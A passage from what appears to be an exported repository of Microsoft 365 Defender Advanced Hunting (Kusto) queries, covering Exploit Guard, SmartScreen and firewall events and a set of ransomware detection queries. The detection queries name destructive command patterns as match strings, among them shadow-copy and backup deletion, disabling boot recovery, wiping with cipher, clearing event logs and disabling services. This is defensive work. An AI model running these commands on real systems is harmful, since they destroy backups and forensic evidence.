minTime\n| project BlockedProcess=FileName, ParentProcess=InitiatingProcessFileName, DeviceName, Timestamp\n| join kind=leftouter (alerts) on DeviceName\n| extend HasNearbyAlert = abs(Timestamp - DetectedTimestamp) between (0min .. 5min)\n| summarize MachineCount=dcount(DeviceName),\n            RuleHits=count(),\n            NearbyAlertPercent=countif(HasNearbyAlert)*100.0 / count() \n            by BlockedProcess, ParentProcess\n| sort by MachineCount desc\n"
  },
  {
    "path": "Protection events/ExploitGuardControlledFolderAccess.txt",
    "content": "\n// Total Controlled Folder Access events\nDeviceEvents\n | where ActionType  startswith \"ControlledFolderAccess\" \n | summarize NumberOfEvents=count() by ActionType\n | sort by NumberOfEvents desc\n\n // Controlled Folder Access events across devices\nDeviceEvents\n | where ActionType startswith \"ControlledFolderAccess\" \n | summarize AsrDetections=count() by DeviceName\n | order by AsrDetections desc\n\n// Exploit Guard Controlled Folder Access details\nDeviceEvents \n| where ActionType contains \"ControlledFolderAccess\"\n| extend JsonOut = parse_json(AdditionalFields)\n| sort by Timestamp desc \n| project Timestamp, DeviceName, InitiatingProcessAccountName, ActionType,  \n         FileName, FolderPath, RemoteUrl, ProcessCommandLine, InitiatingProcessCommandLine,\n         JsonOut.IsAudit,JsonOut.Uri,JsonOut.RuleId,JsonOut.ActivityId\n\n"
  },
  {
    "path": "Protection events/ExploitGuardNetworkProtectionEvents.txt",
    "content": "//Simple query to show the unique network connections that were audited or blocked by ExploitGuard\n// For more questions on this query, feel free to ping @FlyingBlueMonki on twitter or mattegen@microsoft.com via email\nDeviceEvents\n| where Timestamp > ago(7d)\n| where  ActionType  =~ \"ExploitGuardNetworkProtectionBlocked\"\n| summarize count(RemoteUrl) by InitiatingProcessFileName, RemoteUrl, Audit_Only=tostring(parse_json(AdditionalFields).IsAudit)\n| sort by count_RemoteUrl desc"
  },
  {
    "path": "Protection events/ExploitGuardStats.txt",
    "content": "// Get stats on ExploitGuard blocks - count events and machines per rule\nDeviceEvents\n| where ActionType startswith \"ExploitGuard\" and ActionType endswith \"Blocked\"\n// Count total stats - count events and machines per rule\n| summarize EventCount=count(), MachinesCount=dcount(DeviceName) by ActionType\n\n// View ExploitGuard audit events - but remove repeating events (e.g. multiple events with same machine, rule, file and process)\nDeviceEvents\n| where ActionType startswith \"ExploitGuard\" and ActionType endswith \"Audited\"\n| summarize Timestamp =max(Timestamp) by DeviceName, ActionType,FileName, FolderPath, InitiatingProcessCommandLine, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessId, SHA1 \n\n"
  },
  {
    "path": "Protection events/PUA ThreatName per Computer.txt",
    "content": "//Today MDE Alerts do not show PUA/WDAV ThreatName. This is a demonstration of how to get, for example, PUA Threat Names.\nDeviceEvents\n| where ActionType == \"AntivirusDetection\"\n| extend ParsedFields=parse_json(AdditionalFields)\n| where ParsedFields.ThreatName contains \"PUA\"\n| project DeviceName, FileName, SHA1 , ThreatName=tostring(ParsedFields.ThreatName),\n          WasRemediated=tobool(ParsedFields.WasRemediated),\n          WasExecutingWhileDetected=tobool(ParsedFields.WasExecutingWhileDetected), Timestamp \n"
  },
  {
    "path": "Protection events/README.md",
    "content": " This folder contains queries on Windows Defender suite block events (as well as block-audit events when in ExploitGuard audit mode).\n This includes Windows Defender Antivirus, Exploit Guard, SmartScreen, and more.\n"
  },
  {
    "path": "Protection events/SmartScreen URL block ignored by user.txt",
    "content": "// Query for SmartScreen URL blocks, where the user has decided to run the malware nontheless.\n// An additional optional filter is applied to query only for cases where Microsoft Edge has downloaded a file shortly after the ignored block.\n// Read more about SmartScreen here: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-smartscreen/windows-defender-smartscreen-overview\n// Data availability: These events are available only on Windows 10 version 1703 and onwards.\n// Tags: #SmartScreen\nlet minTimeRange = ago(7d);\nlet smartscreenUrlBlocks = \n    DeviceEvents\n    | where ActionType == \"SmartScreenUrlWarning\" and Timestamp > minTimeRange\n            // Filter out SmartScreen test URLs under https://demo.smartscreen.msft.net/\n            and RemoteUrl !startswith \"https://demo.smartscreen.msft.net/\" \n    | extend ParsedFields=parse_json(AdditionalFields)\n    | project Timestamp, DeviceName, BlockedUrl=RemoteUrl, Recommendation=tostring(ParsedFields.Recommendation), Experience=tostring(ParsedFields.Experience), ActivityId=tostring(ParsedFields.ActivityId);\n// Query for UserDecision events - each one means the user has decided to ignore the warning and run the app.\nlet userIgnoredWarning=\n    DeviceEvents\n    | where ActionType == \"SmartScreenUserOverride\" and Timestamp > minTimeRange\n    | project DeviceName, ActivityId=extractjson(\"$.ActivityId\", AdditionalFields, typeof(string));\n// Join the block and user decision event using an ActivityId\nlet ignoredBlocks = smartscreenUrlBlocks | join kind=leftsemi (userIgnoredWarning) on DeviceName, ActivityId | project-away ActivityId;\n// Optional additional filter - look only for cases where a file was downloaded from Microsoft Edge following the URL block being ignored \nlet edgeDownloads = \n    DeviceFileEvents\n    | where Timestamp > minTimeRange and InitiatingProcessFileName =~ \"browser_broker.exe\"\n    | summarize (DownloadTime, SHA1) = argmax(Timestamp, SHA1) by FileName, DeviceName, FileOriginUrl, FileOriginReferrerUrl;\nignoredBlocks\n| join kind=inner (edgeDownloads) on DeviceName\n| where DownloadTime - Timestamp between (0min .. 2min)\n| project-away DeviceName1\n"
  },
  {
    "path": "Protection events/SmartScreen app block ignored by user.txt",
    "content": "// Query for SmartScreen application blocks on files with \"Malicious\" reputation, where the user has decided to run the malware nontheless.\n// Read more about SmartScreen here: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-smartscreen/windows-defender-smartscreen-overview\n// Data availability: These events are available only on Windows 10 version 1703 and onwards.\n// Tags: #SmartScreen\nlet minTimeRange = ago(7d);\nlet smartscreenAppBlocks = \n    DeviceEvents\n    | where ActionType == \"SmartScreenAppWarning\" and Timestamp > minTimeRange\n            // Filter out SmartScreen test files downloaded from https://demo.smartscreen.msft.net/\n            and not (FileName startswith \"knownmalicious\" and FileName endswith \".exe\")\n    | extend ParsedFields=parse_json(AdditionalFields)\n    | project Timestamp, DeviceName, BlockedFileName=FileName, SHA1, Experience=tostring(ParsedFields.Experience), ActivityId=tostring(ParsedFields.ActivityId), InitiatingProcessFileName;\n// Query for UserDecision events - each one means the user has decided to ignore the warning and run the app.\nlet userIgnoredWarning=\n    DeviceEvents\n    | where ActionType == \"SmartScreenUserOverride\" and Timestamp > minTimeRange\n    | project DeviceName, ActivityId=extractjson(\"$.ActivityId\", AdditionalFields, typeof(string));\n// Join the block and user decision event using an ActivityId\nlet ignoredBlocks = \n\tsmartscreenAppBlocks\n\t| join kind=leftsemi (userIgnoredWarning) on DeviceName, ActivityId\n\t| project-away ActivityId;\nignoredBlocks\n// Select only blocks on \"Malicious\" files.\n// To hunt over Unknown/Untrusted files, remove the following where clause, but then you might want to join with additional signals.\n| where Experience == \"Malicious\"\n"
  },
  {
    "path": "Protection events/Windows filtering events (Firewall).txt",
    "content": "// Get all filtering events done by the Windows filtering platform.\n// This includes any blocks done by Windows Firewall rules, but also blocks triggered by some 3rd party firewalls.\n// When no Firewall rules are configured, the default behavior is to block all incoming network connections.\nDeviceEvents\n| where ActionType in (\"FirewallOutboundConnectionBlocked\", \"FirewallInboundConnectionBlocked\", \"FirewallInboundConnectionToAppBlocked\")\n| project DeviceId , Timestamp , InitiatingProcessFileName , InitiatingProcessParentFileName, RemoteIP, RemotePort, LocalIP, LocalPort\n| summarize MachineCount=dcount(DeviceId) by RemoteIP\n| top 100 by MachineCount desc\n"
  },
  {
    "path": "Protection events/WindowsDefenderAVEvents.txt",
    "content": ""
  },
  {
    "path": "README.md",
    "content": "---\npage_type: sample\nlanguages: \n- kusto\nproducts: \n- Microsoft 365 Defender\ndescription: \"Microsoft 365 Defender repository for Advanced Hunting\"\n---\n# Deprecated\nWe moved to **[Microsoft threat protection community](https://github.com/Azure/Azure-Sentinel)**, the unified Microsoft Sentinel and Microsoft 365 Defender repository.\n\nMicrosoft SIEM and XDR Community provides a forum for the community members, aka, Threat Hunters, to join in and submit these contributions via GitHub Pull Requests or contribution ideas as GitHub Issues. Hunting queries for Microsoft 365 Defender will provide value to both Microsoft 365 Defender and Microsoft Sentinel products, hence a multiple impact for a single contribution. These contributions can be just based on your idea of the value to enterprise your contribution provides or can be from the GitHub open issues list or even enhancements to existing contributions.\n\n* **[Contribute](https://github.com/Azure/Azure-Sentinel/wiki/Contribute-to-Sentinel-GitHub-Community-of-Queries)** your queries to the **[Microsoft 365 Defender folder](https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries/Microsoft%20365%20Defender)** in the Hunting Queries section.\n* Specifics on what is required for Hunting queries is in the **[Query Style Guide](https://github.com/Azure/Azure-Sentinel/wiki/Query-Style-Guide)**.\n* Webcasts content can be found in the **[Tutorials folder](https://github.com/Azure/Azure-Sentinel/tree/master/Tutorials/Microsoft%20365%20Defender/Webcasts)**.\n* Power BI example can be found in the **[Tools folder](https://github.com/Azure/Azure-Sentinel/tree/master/Tools)**.\n"
  },
  {
    "path": "Ransomware/Backup deletion.md",
    "content": "# Backup deletion\n\nThis query identifies use of wmic.exe to delete shadow copy snapshots prior to encryption.\n\n## Query\n```\nDeviceProcessEvents\n| where FileName =~ \"wmic.exe\"\n| where ProcessCommandLine has \"shadowcopy\" and ProcessCommandLine has \"delete\"\n| project DeviceId, Timestamp, InitiatingProcessFileName, FileName,\nProcessCommandLine, InitiatingProcessIntegrityLevel, InitiatingProcessParentFileName\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Check for multiple signs of ransomware activity.md",
    "content": "# Check for multiple signs of ransomware activity\n\nInstead of running several queries separately, you can also use a comprehensive query that checks for multiple signs of ransomware activity to identify affected devices. The following consolidated query:\n\nLooks for both relatively concrete and subtle signs of ransomware activity\nWeighs the presence of these signs\nIdentifies devices with a higher chance of being targets of ransomware\nWhen run, this consolidated query returns a list of devices that have exhibited multiple signs of attack. The count of each type of ransomware activity is also shown.\n\n## Query\n```\n// Find attempts to stop processes using taskkill.exe\nlet taskKill = DeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ \"taskkill.exe\" \n| summarize taskKillCount = dcount(ProcessCommandLine), TaskKillList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 2m)\n| where taskKillCount > 10;\n// Find attempts to stop processes using net stop\nlet netStop = DeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ \"net.exe\" and ProcessCommandLine has \"stop\"\n| summarize netStopCount = dcount(ProcessCommandLine), NetStopList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 2m)\n| where netStopCount > 10;\n// Look for cipher.exe deleting data from multiple drives\nlet cipher = DeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ \"cipher.exe\" \n// cipher.exe /w flag used for deleting data \n| where ProcessCommandLine has \"/w\" \n| summarize CipherCount = dcount(ProcessCommandLine), \nCipherList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 1m) \n// cipher.exe accessing multiple drives in a short timeframe \n| where CipherCount > 1;\n// Look for use of wevtutil to clear multiple logs\nlet wevtutilClear = DeviceProcessEvents\n| where Timestamp > ago(1d)\n| where ProcessCommandLine has \"WEVTUTIL\" and ProcessCommandLine has \"CL\"\n| summarize LogClearCount = dcount(ProcessCommandLine), ClearedLogList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 5m)\n| where LogClearCount > 10;\n// Look for sc.exe disabling services\nlet scDisable = DeviceProcessEvents\n| where Timestamp > ago(1d)\n| where ProcessCommandLine has \"sc\" and ProcessCommandLine has \"config\" and ProcessCommandLine has \"disabled\"\n| summarize ScDisableCount = dcount(ProcessCommandLine), ScDisableList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 5m)\n| where ScDisableCount > 10;\n// Main query for counting and aggregating evidence\nDeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ \"vssadmin.exe\" and ProcessCommandLine has_any(\"list shadows\", \"delete shadows\")\nor FileName =~ \"fsutil.exe\" and ProcessCommandLine has \"usn\" and ProcessCommandLine has \"deletejournal\"\nor ProcessCommandLine has(\"bcdedit\") and ProcessCommandLine has_any(\"recoveryenabled no\", \"bootstatuspolicy ignoreallfailures\")\nor ProcessCommandLine has \"wbadmin\" and ProcessCommandLine has \"delete\" and ProcessCommandLine has_any(\"backup\", \"catalog\", \"systemstatebackup\")\nor (ProcessCommandLine has \"wevtutil\" and ProcessCommandLine has \"cl\") \nor (ProcessCommandLine has \"wmic\" and ProcessCommandLine has \"shadowcopy delete\")\nor (ProcessCommandLine has \"sc\" and ProcessCommandLine has \"config\" and ProcessCommandLine has \"disabled\")\n| extend Bcdedit = iff(ProcessCommandLine has \"bcdedit\" and ProcessCommandLine has_any(\"recoveryenabled no\", \"bootstatuspolicy ignoreallfailures\"), 1, 0)\n| extend ShadowCopyDelete = iff (ProcessCommandLine has \"shadowcopy delete\", 1, 0)\n| extend VssAdminShadows = iff(ProcessCommandLine has \"vssadmin\" and ProcessCommandLine has_any(\"list shadows\", \"delete shadows\"), 1, 0)\n| extend Wbadmin = iff(ProcessCommandLine has \"wbadmin\" and ProcessCommandLine has \"delete\" and ProcessCommandLine has_any(\"backup\", \"catalog\", \"systemstatebackup\"), 1,0)\n| extend Fsutil = iff(ProcessCommandLine has \"fsutil\" and ProcessCommandLine has \"usn\" and ProcessCommandLine has \"deletejournal\", 1, 0)\n| summarize FirstActivity = min(Timestamp), ReportId = any(ReportId), Commands = make_set(ProcessCommandLine) by DeviceId, Fsutil, Wbadmin, ShadowCopyDelete, Bcdedit, VssAdminShadows, bin(Timestamp, 6h)\n// Joining extra evidence\n| join kind=leftouter (wevtutilClear) on $left.DeviceId == $right.DeviceId\n| join kind=leftouter (cipher) on $left.DeviceId == $right.DeviceId\n| join kind=leftouter (netStop) on $left.DeviceId == $right.DeviceId\n| join kind=leftouter (taskKill) on $left.DeviceId == $right.DeviceId\n| join kind=leftouter (scDisable) on $left.DeviceId == $right.DeviceId\n| extend WevtutilUse = iff(LogClearCount > 10, 1, 0)\n| extend CipherUse = iff(CipherCount > 1, 1, 0)\n| extend NetStopUse = iff(netStopCount > 10, 1, 0)\n| extend TaskkillUse = iff(taskKillCount > 10, 1, 0)\n| extend ScDisableUse = iff(ScDisableCount > 10, 1, 0)\n// Adding up all evidence\n| mv-expand CommandList = NetStopList, TaskKillList, ClearedLogList, CipherList, Commands, ScDisableList\n// Format results\n| summarize BcdEdit = iff(make_set(Bcdedit) contains \"1\" , 1, 0), NetStop10PlusCommands = iff(make_set(NetStopUse) contains \"1\", 1, 0), Wevtutil10PlusLogsCleared = iff(make_set(WevtutilUse) contains \"1\", 1, 0),\nCipherMultipleDrives = iff(make_set(CipherUse) contains \"1\", 1, 0), Fsutil = iff(make_set(Fsutil) contains \"1\", 1, 0), ShadowCopyDelete = iff(make_set(ShadowCopyDelete) contains \"1\", 1, 0),\nWbadmin = iff(make_set(Wbadmin) contains \"1\", 1, 0), TaskKill10PlusCommand = iff(make_set(TaskkillUse) contains \"1\", 1, 0), VssAdminShadow = iff(make_set(VssAdminShadows) contains \"1\", 1, 0), \nScDisable = iff(make_set(ScDisableUse) contains \"1\", 1, 0), TotalEvidenceCount = count(CommandList), EvidenceList = make_set(Commands), StartofBehavior = min(FirstActivity) by DeviceId, bin(Timestamp, 1d)\n| extend UniqueEvidenceCount = BcdEdit + NetStop10PlusCommands + Wevtutil10PlusLogsCleared + CipherMultipleDrives + Wbadmin + Fsutil + TaskKill10PlusCommand + VssAdminShadow + ScDisable + ShadowCopyDelete\n| where UniqueEvidenceCount > 2\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Clearing of forensic evidence from event logs using wevtutil.md",
    "content": "# Clearing of forensic evidence from event logs using wevtutil\n\nThis query checks for attempts to clear at least 10 log entries from event logs using wevtutil.\n\n## Query\n```\n// Look for use of wevtutil to clear multiple logs\nDeviceProcessEvents\n| where Timestamp > ago(1d)\n| where ProcessCommandLine has \"WEVTUTIL\" and ProcessCommandLine has \"CL\"\n| summarize LogClearCount = dcount(ProcessCommandLine), ClearedLogList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 5m)\n| where LogClearCount > 10\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/DarkSide.md",
    "content": "# DarkSide\n\nUse this query to look for running DarkSide ransomware behavior in the environment\n\n## Query\n```\nDeviceProcessEvents \n| where FileName =~ \"rundll32.exe\" | where ProcessCommandLine matches regex @\".dll,#(?:1|3) worker[0-9]\\sjob[0-9]-[0-9]{4,}\"\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Deletion of data on multiple drives using cipher exe.md",
    "content": "# Deletion of data on multiple drives using cipher.exe\n\nThis query checks for attempts to delete data on multiple drives using cipher.exe. This activity is typically done by ransomware to prevent recovery of data after encryption.\n\n## Query\n```\n// Look for cipher.exe deleting data from multiple drives\nDeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ \"cipher.exe\" \n// cipher.exe /w flag used for deleting data \n| where ProcessCommandLine has \"/w\" \n| summarize CipherCount = dcount(ProcessCommandLine),\nCipherList = make_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 1m) \n// cipher.exe accessing multiple drives in a short timeframe \n| where CipherCount > 1\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Discovery for highly-privileged accounts.md",
    "content": "# Discovery for highly-privileged accounts\n\nUse this query to locate commands related to discovering highly privileged users in an environment, sometimes a precursor to ransomware\n\n## Query\n```\nDeviceProcessEvents\n| where FileName == \"net.exe\"\n// Create a set for the command lines\n| summarize makeset(ProcessCommandLine) by InitiatingProcessFileName, AccountName, DeviceId, bin(Timestamp, 5m)\n// Other process launches by Net in that same timeframe\n| where (set_ProcessCommandLine has \"admin\" \nand set_ProcessCommandLine has_any(\"domain\", \"enterprise\", \"backup operators\"))\nand set_ProcessCommandLine has \"group\" and set_ProcessCommandLine contains \"/do\"\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |V  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Distribution from remote location.md",
    "content": "# Distribution from remote location\n\nThis query checks for alerts related to file drop and remote execution where the file name matches PsExec and similar tools used for distribution\n\n## Query\n```\nAlertInfo\n| where Title == \"File dropped and launched from remote location\"\n| join AlertEvidence on $left.AlertId == $right.AlertId\n// Looking for tools involved in potential distribution of ransomware\n| where FileName hasprefix \"psexe\" or (FileName matches regex @\"^([a-z0-9]){7}\\.exe$\" and FileName matches regex \"[0-9]{1,5}\")\nor ProcessCommandLine has \"accepteula\"\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Fake Replies.md",
    "content": "# Fake replies\n\nUse this query to find spoofed reply emails that contain certain keywords in the subject. The emails are also checked for a link to a document in Google Docs.\nThese attacks have been observed leading to ransomware\n\n## Query\n```\nlet SubjectTerms = pack_array('onus','equired','all','urvey','eb', 'eport','you','nation','me','itting','book','ocument','ill'); \nEmailEvents \n| where EmailDirection == \"Inbound\" \n| where Subject startswith \"RE:\" \n| where Subject has_any(SubjectTerms) \n| join EmailUrlInfo on $left.NetworkMessageId == $right.NetworkMessageId \n| where Url startswith \"https://docs.google.com/document/\" \n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |V |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/File Backup Deletion Alerts.md",
    "content": "# File Backup Deletion Alerts\n\nThis query checks alerts related to file backup deletion and enriches with additional alert evidence information\n\n## Query\n```\nAlertInfo\n| where Title == \"File backups were deleted\"\n| join AlertEvidence on $left.AlertId == $right.AlertId\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/Gootkit File Delivery.md",
    "content": "# Gootkit File Delivery\n\nThis query surfaces alerts related to Gootkit and enriches with command and control information, which has been observed delivering ransomware.\n\n## Query\n```\nAlertInfo | where Title =~ \"Suspected delivery of Gootkit malware\" \n// Below section is to surface active follow-on Command and Control as a result of the above behavior. Comment out the below joins to see \n// only file create events where the malware may be present but has not yet been executed. \n//// \n// Get alert evidence \n| join AlertEvidence on $left.AlertId == $right.AlertId \n// Look for C2 \n| join DeviceNetworkEvents on $left.DeviceId == $right.DeviceId \n| where InitiatingProcessFileName =~ \"wscript.exe\" and InitiatingProcessCommandLine has \".zip\" and InitiatingProcessCommandLine has \".js\" \n| summarize by RemoteUrl, RemoteIP , DeviceId, InitiatingProcessCommandLine, Timestamp, InitiatingProcessFileName, AlertId, Title, AccountName\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/HTA Startup Persistence.md",
    "content": "# HTA startup persistence\n\nUse this query to locate persistence in Startup with HTA files.\n\n## Query\n```\nDeviceFileEvents\n| where FolderPath contains @\"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"\n| where FileName endswith \".hta\"\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/IcedId Delivery.md",
    "content": "# IcedId Delivery\n\nUse this query to locate successful delivery of associated malicious downloads that can lead to ransomware\n\n## Query\n```\nDeviceFileEvents \n| where InitiatingProcessFileName in~(\"msedge.exe\", \"chrome.exe\", \"explorer.exe\", \"7zFM.exe\", \"firefox.exe\", \"browser_broker.exe\") \n| where FileOriginReferrerUrl has \".php\" and FileOriginReferrerUrl has \".top\" and FileOriginUrl  has_any(\"googleusercontent\", \"google\", \"docs\")\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | V |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |V |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Ransomware/IcedId attachments.md",
